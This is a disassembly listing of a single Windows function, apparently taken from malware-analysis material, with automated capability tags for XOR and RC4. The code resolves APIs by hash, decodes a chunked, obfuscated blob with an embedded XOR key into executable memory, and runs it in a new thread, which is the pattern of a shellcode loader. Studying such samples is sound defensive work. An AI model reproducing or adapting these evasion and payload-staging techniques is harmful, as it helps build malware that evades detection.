Function at 0x140001290
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x28
lea rcx, str.KERNEL32.DLL
call section..text
mov rcx, rax
mov edx, 0xcdfad9c9
call fcn.1400011c0
mov edx, 0x65
xor ecx, ecx
lea r8d, [rdx - 0x5b]
call rax
lea rcx, str.KERNEL32.DLL
mov rdi, rax
call section..text
mov rcx, rax
mov edx, 0x3a59227
call fcn.1400011c0
mov rdx, rdi
xor ecx, ecx
call rax
lea rcx, str.KERNEL32.DLL
mov rbx, rax
call section..text
mov rcx, rax
mov edx, 0x521b2714
call fcn.1400011c0
mov rcx, rbx
call rax
lea rcx, str.KERNEL32.DLL
mov rbp, rax
call section..text
mov rcx, rax
mov edx, 0xaee6050d
call fcn.1400011c0
mov rdx, rdi
xor ecx, ecx
call rax
mov ecx, eax
movabs rax, 0xc7ce0c7ce0c7ce0d
mul rcx
lea rcx, str.KERNEL32.DLL
mov rdi, rdx
shr rdi, 5
call section..text
mov rcx, rax
mov edx, 0x16ede1a5
call fcn.1400011c0
lea rcx, [rdi*8]
mov r9d, 0x40
mov qword [rsp + 0x68], rcx
mov rdx, rcx
xor ecx, ecx
mov r8d, 0x3000
call rax
xor ebx, ebx
mov r14, rax
mov esi, ebx
test rdi, rdi
je 0x1400013c8
nop word [rax + rax]
lea rcx, str.KERNEL32.DLL
call section..text
mov rcx, rax
mov edx, 0x16ede1a5
call fcn.1400011c0
mov edx, 0x27
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rdx + 0x19]
call rax
mov qword [r14 + rsi*8], rax
inc rsi
cmp rsi, rdi
jb 0x140001390
mov r8, rbx
mov rdx, rbx
test rdi, rdi
je 0x1400015e9
nop word [rax + rax]
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp]
mov byte [rcx], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 1]
mov byte [rcx + 1], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 2]
mov byte [rcx + 2], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 3]
mov byte [rcx + 3], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 4]
mov byte [rcx + 4], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 5]
mov byte [rcx + 5], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 6]
mov byte [rcx + 6], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 7]
mov byte [rcx + 7], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 8]
mov byte [rcx + 8], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 9]
mov byte [rcx + 9], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0xa]
mov byte [rcx + 0xa], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0xb]
mov byte [rcx + 0xb], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0xc]
mov byte [rcx + 0xc], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0xd]
mov byte [rcx + 0xd], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0xe]
mov byte [rcx + 0xe], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0xf]
mov byte [rcx + 0xf], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x10]
mov byte [rcx + 0x10], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x11]
mov byte [rcx + 0x11], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x12]
mov byte [rcx + 0x12], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x13]
mov byte [rcx + 0x13], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x14]
mov byte [rcx + 0x14], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x15]
mov byte [rcx + 0x15], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x16]
mov byte [rcx + 0x16], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x17]
mov byte [rcx + 0x17], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x18]
mov byte [rcx + 0x18], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x19]
mov byte [rcx + 0x19], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x1a]
mov byte [rcx + 0x1a], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp + 0x1b]
lea r8, [r8 + 0x29]
mov byte [rcx + 0x1b], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 0xd]
mov byte [rcx + 0x1c], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 0xc]
mov byte [rcx + 0x1d], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 0xb]
mov byte [rcx + 0x1e], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 0xa]
mov byte [rcx + 0x1f], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 9]
mov byte [rcx + 0x20], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 8]
mov byte [rcx + 0x21], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 7]
mov byte [rcx + 0x22], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 6]
mov byte [rcx + 0x23], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 5]
mov byte [rcx + 0x24], al
mov rcx, qword [r14 + rdx*8]
movzx eax, byte [r8 + rbp - 4]
mov byte [rcx + 0x25], al
mov rcx, qword [r14 + rdx*8]
inc rdx
movzx eax, byte [r8 + rbp - 3]
mov byte [rcx + 0x26], al
cmp rdx, rdi
jb 0x1400013e0
mov r15, rdi
mov qword [rsp + 0x70], r12
lea rcx, str.KERNEL32.DLL
shl r15, 4
mov qword [rsp + 0x20], r13
call section..text
mov rcx, rax
mov edx, 0x16ede1a5
call fcn.1400011c0
xor ecx, ecx
mov edx, 0x2710
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call rax
test rbp, rbp
je 0x14000180a
lea rcx, str.NTDLL.DLL
call section..text
mov rcx, rax
mov edx, 0xca3e5337
call fcn.1400011c0
lea rcx, str.KERNEL32.DLL
mov qword [rsp + 0x60], rbx
mov r13, rax
call section..text
mov rcx, rax
mov edx, 0x16ede1a5
call fcn.1400011c0
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, r15
xor ecx, ecx
call rax
mov r12, rax
test rax, rax
je 0x14000180a
mov rbp, rax
mov rsi, rbx
test rdi, rdi
je 0x1400016c3
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [r14 + rsi*8]
lea rdx, [rsp + 0x60]
mov r8, rbp
call r13
test eax, eax
jne 0x14000180a
add rbp, 0x10
inc rsi
cmp rsi, rdi
jb 0x1400016a0
lea rcx, str.KERNEL32.DLL
call section..text
mov rcx, rax
mov edx, 0x16ede1a5
call fcn.1400011c0
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, r15
xor ecx, ecx
call rax
mov rsi, rax
test r15, r15
je 0x140001740
sub r12, rax
lea r10, str.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
movabs r9, 0x346dc5d63886594b
nop dword [rax + rax]
lea r8, [rbx + rsi]
mov rcx, rbx
mov rax, r9
mul rbx
inc rbx
shr rdx, 0xb
imul rax, rdx, 0x2710
sub rcx, rax
movzx eax, byte [rcx + r10]
xor al, byte [r8 + r12]
mov byte [r8], al
cmp rbx, r15
jb 0x140001710
nop
lea rcx, str.KERNEL32.DLL
call section..text
mov rcx, rax
mov edx, 0x44cd8621
call fcn.1400011c0
xor r8d, r8d
mov rdx, rsi
xor ecx, ecx
call rax
lea rcx, str.KERNEL32.DLL
mov rbx, rax
call section..text
mov rcx, rax
mov edx, 0x4feb7297
call fcn.1400011c0
xor ecx, ecx
call rax
lea rcx, str.KERNEL32.DLL
call section..text
mov rcx, rax
mov edx, 0xb0af310e
call fcn.1400011c0
mov rcx, rbx
call rax
test rdi, rdi
je 0x1400017df
nop word [rax + rax]
lea rcx, str.KERNEL32.DLL
call section..text
mov rcx, rax
mov edx, 0x55eec244
call fcn.1400011c0
mov edx, 0x27
mov r8d, 0x8000
mov rcx, r14
call rax
sub rdi, 1
jne 0x1400017b0
lea rcx, str.KERNEL32.DLL
call section..text
mov rcx, rax
mov edx, 0x55eec244
call fcn.1400011c0
mov rdx, qword [rsp + 0x68]
mov r8d, 0x8000
mov rcx, r14
call rax
jmp 0x14000180c
xor eax, eax
mov r13, qword [rsp + 0x20]
mov r12, qword [rsp + 0x70]
add rsp, 0x28
pop r15
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret